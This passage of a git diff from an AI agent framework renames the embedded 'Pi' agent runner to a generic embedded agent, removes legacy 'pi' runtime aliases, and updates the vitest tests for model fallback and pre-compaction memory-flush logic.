state.runCliAgentMock.mockRejectedValueOnce(new Error("cli failed")); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "ok" }], meta: {}, }); @@ -6148,8 +6160,8 @@ describe("runAgentTurnWithFallback", () => { await runAgentTurnWithFallback(createMinimalRunAgentTurnParams()); expect(state.runCliAgentMock).toHaveBeenCalledOnce(); - expect(state.runEmbeddedPiAgentMock).toHaveBeenCalledOnce(); - expectMockCallArgFields(state.runEmbeddedPiAgentMock, 0, "embedded fallback candidate", { + expect(state.runEmbeddedAgentMock).toHaveBeenCalledOnce(); + expectMockCallArgFields(state.runEmbeddedAgentMock, 0, "embedded fallback candidate", { suppressAssistantErrorPersistence: false, }); }); @@ -6164,7 +6176,7 @@ describe("runAgentTurnWithFallback", () => { attempts: [], }; }); - state.runEmbeddedPiAgentMock.mockImplementationOnce( + state.runEmbeddedAgentMock.mockImplementationOnce( async (args: { onUserMessagePersisted?: (m: { role: "user"; @@ -6178,7 +6190,7 @@ describe("runAgentTurnWithFallback", () => { throw new Error("upstream 500"); }, ); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "ok" }], meta: {}, }); @@ -6186,11 +6198,11 @@ describe("runAgentTurnWithFallback", () => { const runAgentTurnWithFallback = await getRunAgentTurnWithFallback(); await runAgentTurnWithFallback(createMinimalRunAgentTurnParams()); - expect(state.runEmbeddedPiAgentMock).toHaveBeenCalledTimes(2); - expectMockCallArgFields(state.runEmbeddedPiAgentMock, 0, "primary candidate", { + expect(state.runEmbeddedAgentMock).toHaveBeenCalledTimes(2); + expectMockCallArgFields(state.runEmbeddedAgentMock, 0, "primary candidate", { suppressNextUserMessagePersistence: false, }); - expectMockCallArgFields(state.runEmbeddedPiAgentMock, 1, "fallback candidate", { + expectMockCallArgFields(state.runEmbeddedAgentMock, 1, "fallback candidate", { suppressNextUserMessagePersistence: true, }); }); diff --git a/src/auto-reply/reply/agent-runner-execution.ts b/src/auto-reply/reply/agent-runner-execution.ts index db5ab9b1c24..0326dcf6e9c 100644 --- a/src/auto-reply/reply/agent-runner-execution.ts +++ b/src/auto-reply/reply/agent-runner-execution.ts @@ -17,20 +17,6 @@ import { import { resolveBootstrapWarningSignaturesSeen } from "../../agents/bootstrap-budget.js"; import { getCliSessionBinding } from "../../agents/cli-session.js"; import { resolveContextTokensForModel } from "../../agents/context.js"; -import { ensureSelectedAgentHarnessPlugin } from "../../agents/harness/runtime-plugin.js"; -import { resolveAgentHarnessPolicy } from "../../agents/harness/selection.js"; -import { LiveSessionModelSwitchError } from "../../agents/live-model-switch-error.js"; -import { runWithModelFallback, isFallbackSummaryError } from "../../agents/model-fallback.js"; -import { - listLegacyRuntimeModelProviderAliases, - resolveCliRuntimeExecutionProvider, -} from "../../agents/model-runtime-aliases.js"; -import { - isCliProvider, - resolveModelRefFromString, - resolvePersistedOverrideModelRef, -} from "../../agents/model-selection.js"; -import { resolveOpenAIRuntimeProviderForPi } from "../../agents/openai-codex-routing.js"; import { BILLING_ERROR_USER_MESSAGE, formatRateLimitOrOverloadedErrorCopy, @@ -41,10 +27,21 @@ import { isOverloadedErrorMessage, isRateLimitErrorMessage, isTransientHttpError, -} from "../../agents/pi-embedded-helpers.js"; -import { sanitizeUserFacingText } from "../../agents/pi-embedded-helpers/sanitize-user-facing-text.js"; -import { isMessagingToolSendAction } from "../../agents/pi-embedded-messaging.js"; -import { runEmbeddedPiAgent } from "../../agents/pi-embedded.js"; +} from "../../agents/embedded-agent-helpers.js"; +import { sanitizeUserFacingText } from "../../agents/embedded-agent-helpers/sanitize-user-facing-text.js"; +import { isMessagingToolSendAction } from "../../agents/embedded-agent-messaging.js"; +import { runEmbeddedAgent } from "../../agents/embedded-agent.js"; +import { ensureSelectedAgentHarnessPlugin } from "../../agents/harness/runtime-plugin.js"; +import { resolveAgentHarnessPolicy } from "../../agents/harness/selection.js"; +import { LiveSessionModelSwitchError } from "../../agents/live-model-switch-error.js"; +import { runWithModelFallback, isFallbackSummaryError } from "../../agents/model-fallback.js"; +import { resolveCliRuntimeExecutionProvider } from "../../agents/model-runtime-aliases.js"; +import { + isCliProvider, + resolveModelRefFromString, + resolvePersistedOverrideModelRef, +} from "../../agents/model-selection.js"; +import { resolveOpenAIRuntimeProvider } from "../../agents/openai-codex-routing.js"; import { buildAgentRuntimeOutcomePlan } from "../../agents/runtime-plan/build.js"; import { resolveGroupSessionKey, @@ -279,7 +276,7 @@ export type AgentRunLoopResult = | { kind: "success"; runId: string; - runResult: Awaited>; + runResult: Awaited>; fallbackProvider?: string; fallbackModel?: string; fallbackAttempts: RuntimeFallbackAttempt[]; @@ -290,7 +287,7 @@ export type AgentRunLoopResult = } | { kind: "final"; payload: ReplyPayload }; -type EmbeddedAgentRunResult = Awaited>; +type EmbeddedAgentRunResult = Awaited>; type FallbackSelectionState = Pick< SessionEntry, @@ -1302,17 +1299,10 @@ export function resolveSessionRuntimeOverrideForProvider(params: { if (!runtime || runtime === "auto" || runtime === "default") { return undefined; } - if (runtime === "pi") { - return "pi"; - } if (provider === "openai" && runtime === "codex") { return "codex"; } - return listLegacyRuntimeModelProviderAliases().find( - (alias) => - normalizeLowercaseStringOrEmpty(alias.provider) === provider && - normalizeLowercaseStringOrEmpty(alias.runtime) === runtime, - )?.runtime; + return undefined; } export function resolveRunAfterAutoFallbackPrimaryProbeRecheck(params: { @@ -1592,7 +1582,7 @@ export async function runAgentTurnWithFallback(params: { isControlUiVisible: shouldSurfaceToControlUi, }); } - let runResult: Awaited>; + let runResult: Awaited>; let fallbackProvider = params.followupRun.run.provider; let fallbackModel = params.followupRun.run.model; let attemptedRuntimeProvider = fallbackProvider; @@ -1986,20 +1976,18 @@ export async function runAgentTurnWithFallback(params: { config: runtimeConfig, }); const resolvedCliExecutionProvider = - resolvedSessionRuntimeOverride === "pi" - ? provider - : ((resolvedSessionRuntimeOverride && - isCliProvider(resolvedSessionRuntimeOverride, runtimeConfig) - ? resolvedSessionRuntimeOverride - : undefined) ?? - resolveCliRuntimeExecutionProvider({ - provider, - cfg: runtimeConfig, - agentId: params.followupRun.run.agentId, - modelId: model, - authProfileId: resolvedSelectedAuthProfile.authProfileId, - }) ?? - provider); + (resolvedSessionRuntimeOverride && + isCliProvider(resolvedSessionRuntimeOverride, runtimeConfig) + ? resolvedSessionRuntimeOverride + : undefined) ?? + resolveCliRuntimeExecutionProvider({ + provider, + cfg: runtimeConfig, + agentId: params.followupRun.run.agentId, + modelId: model, + authProfileId: resolvedSelectedAuthProfile.authProfileId, + }) ?? + provider; return { sessionRuntimeOverride: resolvedSessionRuntimeOverride, cliExecutionProvider: resolvedCliExecutionProvider, @@ -2137,7 +2125,7 @@ export async function runAgentTurnWithFallback(params: { agentId: params.followupRun.run.agentId, sessionKey: params.followupRun.run.runtimePolicySessionKey ?? params.sessionKey, }); - const embeddedRunProvider = resolveOpenAIRuntimeProviderForPi({ + const embeddedRunProvider = resolveOpenAIRuntimeProvider({ provider, harnessRuntime: agentHarnessPolicy.runtime, authProfileProvider: runBaseParams.authProfileId?.split(":", 1)[0], @@ -2147,8 +2135,8 @@ export async function runAgentTurnWithFallback(params: { }); const embeddedRunHarnessOverride = sessionRuntimeOverride ?? - (agentHarnessPolicy.runtime === "pi" && embeddedRunProvider !== provider - ? "pi" + (agentHarnessPolicy.runtime === "openclaw" && embeddedRunProvider !== provider + ? "openclaw" : undefined); return (async () => { let attemptCompactionCount = 0; @@ -2166,7 +2154,7 @@ export async function runAgentTurnWithFallback(params: { milestone: "before_embedded_run", }); const result = await agentTurnTiming.measure("embedded_run", () => - runEmbeddedPiAgent({ + runEmbeddedAgent({ ...embeddedContext, allowGatewaySubagentBinding: true, trigger: params.isHeartbeat ? "heartbeat" : "user", diff --git a/src/auto-reply/reply/agent-runner-memory.dedup.test.ts b/src/auto-reply/reply/agent-runner-memory.dedup.test.ts index fc77b8a0938..0cd05802fe5 100644 --- a/src/auto-reply/reply/agent-runner-memory.dedup.test.ts +++ b/src/auto-reply/reply/agent-runner-memory.dedup.test.ts @@ -11,7 +11,7 @@ import crypto from "node:crypto"; import { describe, expect, it } from "vitest"; // Inline computeContextHash to avoid importing memory-flush.js (which -// triggers the full agent import chain and hits the missing pi-ai/oauth +// triggers the full agent import chain and hits the missing shared model runtime/oauth // package in test environments). This mirrors the implementation in // src/auto-reply/reply/memory-flush.ts exactly. function computeContextHash(messages: Array<{ role?: string; content?: unknown }>): string { diff --git a/src/auto-reply/reply/agent-runner-memory.test.ts b/src/auto-reply/reply/agent-runner-memory.test.ts index 0de78a0ffa5..811a1e28646 100644 --- a/src/auto-reply/reply/agent-runner-memory.test.ts +++ b/src/auto-reply/reply/agent-runner-memory.test.ts @@ -17,9 +17,9 @@ import { import { createTestFollowupRun, writeTestSessionStore } from "./agent-runner.test-fixtures.js"; import type { ReplyOperation } from "./reply-run-registry.js"; -const compactEmbeddedPiSessionMock = vi.fn(); +const compactEmbeddedAgentSessionMock = vi.fn(); const runWithModelFallbackMock = vi.fn(); -const runEmbeddedPiAgentMock = vi.fn(); +const runEmbeddedAgentMock = vi.fn(); const refreshQueuedFollowupSessionMock = vi.fn(); const incrementCompactionCountMock = vi.fn(); const ensureSelectedAgentHarnessPluginMock = vi.fn(); @@ -78,7 +78,7 @@ type ModelFallbackParams = { }) => Promise | void; }; -type EmbeddedPiAgentParams = { +type EmbeddedAgentParams = { provider?: string; model?: string; authProfileId?: unknown; @@ -93,7 +93,7 @@ type EmbeddedPiAgentParams = { abortSignal?: AbortSignal; }; -type CompactEmbeddedPiSessionParams = { +type CompactEmbeddedAgentSessionParams = { agentId?: string; authProfileId?: string; contextTokenBudget?: number; @@ -123,20 +123,20 @@ function requireModelFallbackCall(index = 0) { return call; } -function requireEmbeddedPiAgentCall(index = 0) { - const call = runEmbeddedPiAgentMock.mock.calls[index]?.[0] as EmbeddedPiAgentParams | undefined; +function requireEmbeddedAgentCall(index = 0) { + const call = runEmbeddedAgentMock.mock.calls[index]?.[0] as EmbeddedAgentParams | undefined; if (!call) { - throw new Error(`runEmbeddedPiAgent call ${index} missing`); + throw new Error(`runEmbeddedAgent call ${index} missing`); } return call; } -function requireCompactEmbeddedPiSessionCall(index = 0) { - const call = compactEmbeddedPiSessionMock.mock.calls[index]?.[0] as - | CompactEmbeddedPiSessionParams +function requireCompactEmbeddedAgentSessionCall(index = 0) { + const call = compactEmbeddedAgentSessionMock.mock.calls[index]?.[0] as + | CompactEmbeddedAgentSessionParams | undefined; if (!call) { - throw new Error(`compactEmbeddedPiSession call ${index} missing`); + throw new Error(`compactEmbeddedAgentSession call ${index} missing`); } return call; } @@ -160,12 +160,12 @@ describe("runMemoryFlushIfNeeded", () => { model, attempts: [], })); - compactEmbeddedPiSessionMock.mockReset().mockResolvedValue({ + compactEmbeddedAgentSessionMock.mockReset().mockResolvedValue({ ok: true, compacted: true, result: { tokensAfter: 42 }, }); - runEmbeddedPiAgentMock.mockReset().mockResolvedValue({ payloads: [], meta: {} }); + runEmbeddedAgentMock.mockReset().mockResolvedValue({ payloads: [], meta: {} }); refreshQueuedFollowupSessionMock.mockReset(); ensureMemoryFlushTargetFileMock.mockReset().mockResolvedValue(undefined); ensureSelectedAgentHarnessPluginMock.mockReset().mockResolvedValue(undefined); @@ -198,9 +198,9 @@ describe("runMemoryFlushIfNeeded", () => { return nextEntry.compactionCount; }); setAgentRunnerMemoryTestDeps({ - compactEmbeddedPiSession: compactEmbeddedPiSessionMock as never, + compactEmbeddedAgentSession: compactEmbeddedAgentSessionMock as never, runWithModelFallback: runWithModelFallbackMock as never, - runEmbeddedPiAgent: runEmbeddedPiAgentMock as never, + runEmbeddedAgent: runEmbeddedAgentMock as never, ensureMemoryFlushTargetFile: ensureMemoryFlushTargetFileMock as never, refreshQueuedFollowupSession: refreshQueuedFollowupSessionMock as never, incrementCompactionCount: incrementCompactionCountMock as never, @@ -229,7 +229,7 @@ describe("runMemoryFlushIfNeeded", () => { const sessionStore = { [sessionKey]: sessionEntry }; await writeTestSessionStore(storePath, sessionKey, sessionEntry); - runEmbeddedPiAgentMock.mockImplementationOnce( + runEmbeddedAgentMock.mockImplementationOnce( async (params: { onAgentEvent?: (evt: { stream: string; data: { phase: string } }) => void; }) => { @@ -267,8 +267,8 @@ describe("runMemoryFlushIfNeeded", () => { expect(entry?.sessionId).toBe("session-rotated"); expect(followupRun.run.sessionId).toBe("session-rotated"); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); - const flushCall = requireEmbeddedPiAgentCall(); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); + const flushCall = requireEmbeddedAgentCall(); expect(flushCall.prompt).toContain("Pre-compaction memory flush."); expect(flushCall.transcriptPrompt).toBe(""); expect(flushCall.prompt).not.toBe(flushCall.transcriptPrompt); @@ -279,7 +279,7 @@ describe("runMemoryFlushIfNeeded", () => { relativePath: flushCall.memoryFlushWritePath, }); expect(ensureMemoryFlushTargetFileMock.mock.invocationCallOrder[0]).toBeLessThan( - runEmbeddedPiAgentMock.mock.invocationCallOrder[0] ?? 0, + runEmbeddedAgentMock.mock.invocationCallOrder[0] ?? 0, ); expect(refreshQueuedFollowupSessionMock).toHaveBeenCalledTimes(1); const refreshCall = requireRefreshQueuedFollowupSessionCall(); @@ -305,7 +305,7 @@ describe("runMemoryFlushIfNeeded", () => { compactionCount: 1, }; const visibleErrorPayloads: Array<{ text?: string; isError?: boolean }> = []; - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [ { text: "normal silent maintenance reply" }, { @@ -539,8 +539,8 @@ describe("runMemoryFlushIfNeeded", () => { expect(fallbackCall.model).toBe("qwen3:8b"); expect(fallbackCall.abortSignal).toBe(replyOperation.abortSignal); expect(fallbackCall.fallbacksOverride).toEqual([]); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); - const agentCall = requireEmbeddedPiAgentCall(); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); + const agentCall = requireEmbeddedAgentCall(); expect(agentCall.provider).toBe("ollama"); expect(agentCall.model).toBe("qwen3:8b"); expect(agentCall.abortSignal).toBe(replyOperation.abortSignal); @@ -611,6 +611,37 @@ describe("runMemoryFlushIfNeeded", () => { }); }); + it("ignores stale runtime pins before memory-flush fallback preflight", async () => { + const sessionEntry: SessionEntry = { + sessionId: "session", + updatedAt: Date.now(), + totalTokens: 80_000, + compactionCount: 1, + agentRuntimeOverride: "unsupported-runtime", + }; + + await runMemoryFlushIfNeeded({ + cfg: { agents: { defaults: { compaction: { memoryFlush: {} } } } }, + followupRun: createTestFollowupRun({ + provider: "openai", + model: "gpt-5.4", + }), + sessionCtx: { Provider: "telegram" } as unknown as TemplateContext, + defaultModel: "openai/gpt-5.4", + agentCfgContextTokens: 100_000, + resolvedVerboseLevel: "off", + sessionEntry, + sessionStore: { main: sessionEntry }, + sessionKey: "main", + isHeartbeat: false, + replyOperation: createReplyOperation(), + }); + + expect( + requireModelFallbackCall().resolveAgentHarnessRuntimeOverride?.("openai", "gpt-5.4"), + ).toBeUndefined(); + }); + it("skips memory flush for CLI providers", async () => { const sessionEntry: SessionEntry = { sessionId: "session", @@ -634,7 +665,7 @@ describe("runMemoryFlushIfNeeded", () => { }); expect(entry).toBe(sessionEntry); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); }); it("uses runtime policy session key when checking memory-flush sandbox writability", async () => { @@ -677,7 +708,7 @@ describe("runMemoryFlushIfNeeded", () => { }); expect(entry).toBe(sessionEntry); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); }); it("continues when preflight compaction reports the session is already under target", async () => { @@ -695,7 +726,7 @@ describe("runMemoryFlushIfNeeded", () => { systemPrompt: "Write memory to memory/YYYY-MM-DD.md.", relativePath: "memory/2023-11-14.md", })); - compactEmbeddedPiSessionMock.mockResolvedValueOnce({ + compactEmbeddedAgentSessionMock.mockResolvedValueOnce({ ok: true, compacted: false, reason: "already under target", @@ -726,8 +757,8 @@ describe("runMemoryFlushIfNeeded", () => { }); expect(entry).toBe(sessionEntry); - expect(compactEmbeddedPiSessionMock).toHaveBeenCalledTimes(1); - expect(requireCompactEmbeddedPiSessionCall()).toMatchObject({ + expect(compactEmbeddedAgentSessionMock).toHaveBeenCalledTimes(1); + expect(requireCompactEmbeddedAgentSessionCall()).toMatchObject({ trigger: "budget", deferOwningContextEngineCompaction: false, contextTokenBudget: 100, @@ -750,7 +781,7 @@ describe("runMemoryFlushIfNeeded", () => { systemPrompt: "Write memory to memory/YYYY-MM-DD.md.", relativePath: "memory/2023-11-14.md", })); - compactEmbeddedPiSessionMock.mockResolvedValueOnce({ + compactEmbeddedAgentSessionMock.mockResolvedValueOnce({ ok: true, compacted: false, reason: "deferred to background context-engine maintenance", @@ -784,7 +815,7 @@ describe("runMemoryFlushIfNeeded", () => { "Preflight compaction required but failed: deferred to background context-engine maintenance", ); - expect(compactEmbeddedPiSessionMock).toHaveBeenCalledTimes(1); + expect(compactEmbeddedAgentSessionMock).toHaveBeenCalledTimes(1); expect(incrementCompactionCountMock).not.toHaveBeenCalled(); }); @@ -830,8 +861,8 @@ describe("runMemoryFlushIfNeeded", () => { replyOperation: createReplyOperation(), }); - expect(compactEmbeddedPiSessionMock).toHaveBeenCalledTimes(1); - const compactCall = requireCompactEmbeddedPiSessionCall(); + expect(compactEmbeddedAgentSessionMock).toHaveBeenCalledTimes(1); + const compactCall = requireCompactEmbeddedAgentSessionCall(); expect(compactCall.sessionKey).toBe("agent:main:main"); expect(compactCall.sandboxSessionKey).toBe("agent:main:telegram:default:direct:12345"); }); @@ -856,7 +887,7 @@ describe("runMemoryFlushIfNeeded", () => { systemPrompt: "Write memory to memory/YYYY-MM-DD.md.", relativePath: "memory/2023-11-14.md", })); - compactEmbeddedPiSessionMock.mockResolvedValueOnce({ + compactEmbeddedAgentSessionMock.mockResolvedValueOnce({ ok: false, compacted: false, reason, @@ -889,7 +920,7 @@ describe("runMemoryFlushIfNeeded", () => { }); expect(entry).toBe(sessionEntry); - expect(compactEmbeddedPiSessionMock).toHaveBeenCalledTimes(1); + expect(compactEmbeddedAgentSessionMock).toHaveBeenCalledTimes(1); expect(incrementCompactionCountMock).not.toHaveBeenCalled(); }, ); @@ -909,7 +940,7 @@ describe("runMemoryFlushIfNeeded", () => { systemPrompt: "Write memory to memory/YYYY-MM-DD.md.", relativePath: "memory/2023-11-14.md", })); - compactEmbeddedPiSessionMock.mockResolvedValueOnce({ + compactEmbeddedAgentSessionMock.mockResolvedValueOnce({ ok: false, compacted: false, reason: "auth profile mismatch", @@ -943,7 +974,7 @@ describe("runMemoryFlushIfNeeded", () => { }), ).rejects.toThrow("Preflight compaction required but failed: auth profile mismatch"); - expect(compactEmbeddedPiSessionMock).toHaveBeenCalledTimes(1); + expect(compactEmbeddedAgentSessionMock).toHaveBeenCalledTimes(1); expect(incrementCompactionCountMock).not.toHaveBeenCalled(); }); @@ -973,11 +1004,10 @@ describe("runMemoryFlushIfNeeded", () => { replyOperation: createReplyOperation(), }); - const compactCall = requireCompactEmbeddedPiSessionCall(); + const compactCall = requireCompactEmbeddedAgentSessionCall(); expect(compactCall.authProfileId).toBe("anthropic:claude@martian.engineering"); expect(compactCall.contextTokenBudget).toBe(258_000); }); - it("updates the active preflight run after transcript rotation", async () => { const sessionFile = path.join(rootDir, "session.jsonl"); const successorFile = path.join(rootDir, "session-rotated.jsonl"); @@ -994,7 +1024,7 @@ describe("runMemoryFlushIfNeeded", () => { systemPrompt: "Write memory to memory/YYYY-MM-DD.md.", relativePath: "memory/2023-11-14.md", })); - compactEmbeddedPiSessionMock.mockResolvedValueOnce({ + compactEmbeddedAgentSessionMock.mockResolvedValueOnce({ ok: true, compacted: true, result: { @@ -1088,12 +1118,12 @@ describe("runMemoryFlushIfNeeded", () => { replyOperation: createReplyOperation(), }); - const compactCall = requireCompactEmbeddedPiSessionCall(); + const compactCall = requireCompactEmbeddedAgentSessionCall(); expect(compactCall.currentTokenCount).toBeGreaterThanOrEqual(100_000); }); it("continues when preflight compaction returns a successful no-op", async () => { - compactEmbeddedPiSessionMock.mockResolvedValueOnce({ + compactEmbeddedAgentSessionMock.mockResolvedValueOnce({ ok: true, compacted: false, reason: "plugin already stored this turn", @@ -1125,8 +1155,8 @@ describe("runMemoryFlushIfNeeded", () => { }); expect(entry).toBe(sessionEntry); - expect(compactEmbeddedPiSessionMock).toHaveBeenCalledTimes(1); - const compactCall = requireCompactEmbeddedPiSessionCall(); + expect(compactEmbeddedAgentSessionMock).toHaveBeenCalledTimes(1); + const compactCall = requireCompactEmbeddedAgentSessionCall(); expect(compactCall.contextTokenBudget).toBe(200_000); expect(replyOperation.setPhase).toHaveBeenCalledWith("preflight_compacting"); expect(replyOperation.updateSessionId).not.toHaveBeenCalled(); @@ -1177,10 +1207,10 @@ describe("runMemoryFlushIfNeeded", () => { }); expect(entry).toBe(sessionEntry); - expect(compactEmbeddedPiSessionMock).not.toHaveBeenCalled(); + expect(compactEmbeddedAgentSessionMock).not.toHaveBeenCalled(); }); - it("leaves fresh over-threshold Codex token snapshots to native Codex auto-compaction", async () => { + it("skips fresh persisted token totals for persisted Codex runtime sessions", async () => { registerMemoryFlushPlanResolverForTest(() => ({ softThresholdTokens: 4_000, forceFlushTranscriptBytes: 1_000_000_000, @@ -1223,10 +1253,10 @@ describe("runMemoryFlushIfNeeded", () => { }); expect(entry).toBe(sessionEntry); - expect(compactEmbeddedPiSessionMock).not.toHaveBeenCalled(); + expect(compactEmbeddedAgentSessionMock).not.toHaveBeenCalled(); }); - it("leaves policy-resolved OpenAI Codex sessions to native Codex auto-compaction", async () => { + it("keeps the OpenAI API context window for persisted OpenClaw runtime overrides", async () => { registerMemoryFlushPlanResolverForTest(() => ({ softThresholdTokens: 4_000, forceFlushTranscriptBytes: 1_000_000_000, @@ -1240,54 +1270,7 @@ describe("runMemoryFlushIfNeeded", () => { updatedAt: Date.now(), totalTokens: 347_000, totalTokensFresh: false, - }; - - const entry = await runPreflightCompactionIfNeeded({ - cfg: { - models: { - providers: { - openai: { models: [{ id: "gpt-5.5", contextWindow: 1_000_000 }] }, - "openai-codex": { models: [{ id: "gpt-5.5", contextWindow: 350_000 }] }, - }, - }, - agents: { defaults: { compaction: { memoryFlush: {} } } }, - } as never, - followupRun: createTestFollowupRun({ - provider: "openai", - model: "gpt-5.5", - sessionId: "session", - sessionKey: "agent:main:telegram:default:direct:12345", - runtimePolicySessionKey: "agent:main:telegram:default:direct:12345", - }), - defaultModel: "gpt-5.5", - sessionEntry, - sessionStore: { "agent:main:telegram:default:direct:12345": sessionEntry }, - sessionKey: "agent:main:telegram:default:direct:12345", - runtimePolicySessionKey: "agent:main:telegram:default:direct:12345", - storePath: path.join(rootDir, "sessions.json"), - isHeartbeat: false, - replyOperation: createReplyOperation(), - }); - - expect(entry).toBe(sessionEntry); - expect(compactEmbeddedPiSessionMock).not.toHaveBeenCalled(); - }); - - it("keeps the OpenAI API context window for persisted PI runtime overrides", async () => { - registerMemoryFlushPlanResolverForTest(() => ({ - softThresholdTokens: 4_000, - forceFlushTranscriptBytes: 1_000_000_000, - reserveTokensFloor: 0, - prompt: "Pre-compaction memory flush.\nNO_REPLY", - systemPrompt: "Write memory to memory/YYYY-MM-DD.md.", - relativePath: "memory/2023-11-14.md", - })); - const sessionEntry: SessionEntry = { - sessionId: "session", - updatedAt: Date.now(), - totalTokens: 347_000, - totalTokensFresh: false, - agentRuntimeOverride: "pi", + agentRuntimeOverride: "openclaw", }; const entry = await runPreflightCompactionIfNeeded({ @@ -1316,165 +1299,7 @@ describe("runMemoryFlushIfNeeded", () => { }); expect(entry).toBe(sessionEntry); - expect(compactEmbeddedPiSessionMock).not.toHaveBeenCalled(); - }); - - it("defers OpenAI preflight compaction until the configured server threshold", async () => { - registerMemoryFlushPlanResolverForTest(() => ({ - softThresholdTokens: 4_000, - forceFlushTranscriptBytes: 1_000_000_000, - reserveTokensFloor: 60_000, - prompt: "Pre-compaction memory flush.\nNO_REPLY", - systemPrompt: "Write memory to memory/YYYY-MM-DD.md.", - relativePath: "memory/2023-11-14.md", - })); - const sessionEntry: SessionEntry = { - sessionId: "session", - updatedAt: Date.now(), - totalTokens: 161_077, - totalTokensFresh: true, - agentRuntimeOverride: "pi", - }; - - const entry = await runPreflightCompactionIfNeeded({ - cfg: { - agents: { - defaults: { - models: { - "openai/gpt-5.5": { - params: { - responsesCompactThreshold: 200_000, - }, - }, - }, - compaction: { memoryFlush: {} }, - }, - }, - } as never, - followupRun: createTestFollowupRun({ - provider: "openai", - model: "gpt-5.5", - sessionId: "session", - sessionKey: "main", - }), - defaultModel: "gpt-5.5", - agentCfgContextTokens: 220_000, - sessionEntry, - sessionStore: { main: sessionEntry }, - sessionKey: "main", - storePath: path.join(rootDir, "sessions.json"), - isHeartbeat: false, - replyOperation: createReplyOperation(), - }); - - expect(entry).toBe(sessionEntry); - expect(compactEmbeddedPiSessionMock).not.toHaveBeenCalled(); - }); - - it("runs OpenAI preflight compaction at the configured server threshold", async () => { - registerMemoryFlushPlanResolverForTest(() => ({ - softThresholdTokens: 4_000, - forceFlushTranscriptBytes: 1_000_000_000, - reserveTokensFloor: 60_000, - prompt: "Pre-compaction memory flush.\nNO_REPLY", - systemPrompt: "Write memory to memory/YYYY-MM-DD.md.", - relativePath: "memory/2023-11-14.md", - })); - const sessionEntry: SessionEntry = { - sessionId: "session", - updatedAt: Date.now(), - totalTokens: 201_000, - totalTokensFresh: true, - agentRuntimeOverride: "pi", - }; - - await runPreflightCompactionIfNeeded({ - cfg: { - agents: { - defaults: { - models: { - "openai/gpt-5.5": { - params: { - responsesServerCompaction: true, - responsesCompactThreshold: 200_000, - }, - }, - }, - compaction: { memoryFlush: {} }, - }, - }, - } as never, - followupRun: createTestFollowupRun({ - provider: "openai", - model: "gpt-5.5", - sessionId: "session", - sessionKey: "main", - }), - defaultModel: "gpt-5.5", - agentCfgContextTokens: 220_000, - sessionEntry, - sessionStore: { main: sessionEntry }, - sessionKey: "main", - storePath: path.join(rootDir, "sessions.json"), - isHeartbeat: false, - replyOperation: createReplyOperation(), - }); - - const compactCall = requireCompactEmbeddedPiSessionCall(); - expect(compactCall.currentTokenCount).toBe(201_000); - }); - - it("uses the local preflight threshold when OpenAI server compaction is explicitly disabled", async () => { - registerMemoryFlushPlanResolverForTest(() => ({ - softThresholdTokens: 4_000, - forceFlushTranscriptBytes: 1_000_000_000, - reserveTokensFloor: 60_000, - prompt: "Pre-compaction memory flush.\nNO_REPLY", - systemPrompt: "Write memory to memory/YYYY-MM-DD.md.", - relativePath: "memory/2023-11-14.md", - })); - const sessionEntry: SessionEntry = { - sessionId: "session", - updatedAt: Date.now(), - totalTokens: 161_077, - totalTokensFresh: true, - agentRuntimeOverride: "pi", - }; - - await runPreflightCompactionIfNeeded({ - cfg: { - agents: { - defaults: { - models: { - "openai/gpt-5.5": { - params: { - responsesServerCompaction: false, - responsesCompactThreshold: 200_000, - }, - }, - }, - compaction: { memoryFlush: {} }, - }, - }, - } as never, - followupRun: createTestFollowupRun({ - provider: "openai", - model: "gpt-5.5", - sessionId: "session", - sessionKey: "main", - }), - defaultModel: "gpt-5.5", - agentCfgContextTokens: 220_000, - sessionEntry, - sessionStore: { main: sessionEntry }, - sessionKey: "main", - storePath: path.join(rootDir, "sessions.json"), - isHeartbeat: false, - replyOperation: createReplyOperation(), - }); - - const compactCall = requireCompactEmbeddedPiSessionCall(); - expect(compactCall.currentTokenCount).toBe(161_077); + expect(compactEmbeddedAgentSessionMock).not.toHaveBeenCalled(); }); it("uses the active run sessionFile when the session entry has no transcript path", async () => { @@ -1521,8 +1346,8 @@ describe("runMemoryFlushIfNeeded", () => { replyOperation: createReplyOperation(), }); - expect(compactEmbeddedPiSessionMock).toHaveBeenCalledTimes(1); - const compactCall = requireCompactEmbeddedPiSessionCall(); + expect(compactEmbeddedAgentSessionMock).toHaveBeenCalledTimes(1); + const compactCall = requireCompactEmbeddedAgentSessionCall(); expect(compactCall.sessionId).toBe("session"); expect(compactCall.sessionFile).toContain("active-run-session.jsonl"); }); @@ -1580,7 +1405,7 @@ describe("runMemoryFlushIfNeeded", () => { replyOperation: createReplyOperation(), }); - const compactCall = requireCompactEmbeddedPiSessionCall(); + const compactCall = requireCompactEmbeddedAgentSessionCall(); expect(compactCall.currentTokenCount).toBeGreaterThan(100_000); }); @@ -1637,7 +1462,7 @@ describe("runMemoryFlushIfNeeded", () => { replyOperation: createReplyOperation(), }); - const compactCall = requireCompactEmbeddedPiSessionCall(); + const compactCall = requireCompactEmbeddedAgentSessionCall(); expect(compactCall.currentTokenCount).toBeGreaterThanOrEqual(96_000); }); @@ -1693,7 +1518,7 @@ describe("runMemoryFlushIfNeeded", () => { }); expect(entry).toBe(sessionEntry); - expect(compactEmbeddedPiSessionMock).not.toHaveBeenCalled(); + expect(compactEmbeddedAgentSessionMock).not.toHaveBeenCalled(); }); it("does not treat raw transcript metadata bytes as token pressure", async () => { @@ -1762,7 +1587,7 @@ describe("runMemoryFlushIfNeeded", () => { }); expect(entry).toBe(sessionEntry); - expect(compactEmbeddedPiSessionMock).not.toHaveBeenCalled(); + expect(compactEmbeddedAgentSessionMock).not.toHaveBeenCalled(); }); it("triggers preflight compaction when the active transcript exceeds the configured byte threshold", async () => { @@ -1811,7 +1636,7 @@ describe("runMemoryFlushIfNeeded", 